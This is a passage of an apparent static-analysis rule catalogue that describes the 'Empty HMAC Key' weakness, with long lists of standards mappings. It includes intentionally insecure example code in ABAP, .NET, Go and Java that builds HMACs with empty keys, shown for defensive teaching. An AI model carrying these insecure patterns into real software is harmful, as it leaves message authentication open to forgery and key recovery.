[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.vb.key_management_empty_encryption_key

Key Management: Empty HMAC Key

Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.
Example 1: The following code uses an empty key to compute the HMAC:

...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
             Input_string type string.

CALL METHOD cl_abap_hmac=>get_instance
  EXPORTING
    if_algorithm = 'SHA3'
    if_key       = space
  RECEIVING
    ro_object    = lo_hmac.

" update HMAC with input
lo_hmac->update( if_data = input_string ).

" finalise hmac
lo_digest->final( ).

...


The code shown in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.
Example 1: The following code uses an empty key to compute the HMAC:

...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
  string hmacKey = "";
  byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
  hmac.Key = keyBytes;
  ...
}
...


The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.dotnet.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
Never use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:


import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...


The code in Example 1 might run successfully, but anyone who has access to it can determine that it uses an empty HMAC key. After the program ships, there is no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.
Example 1: The following code uses an empty key to compute the HMAC:

...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
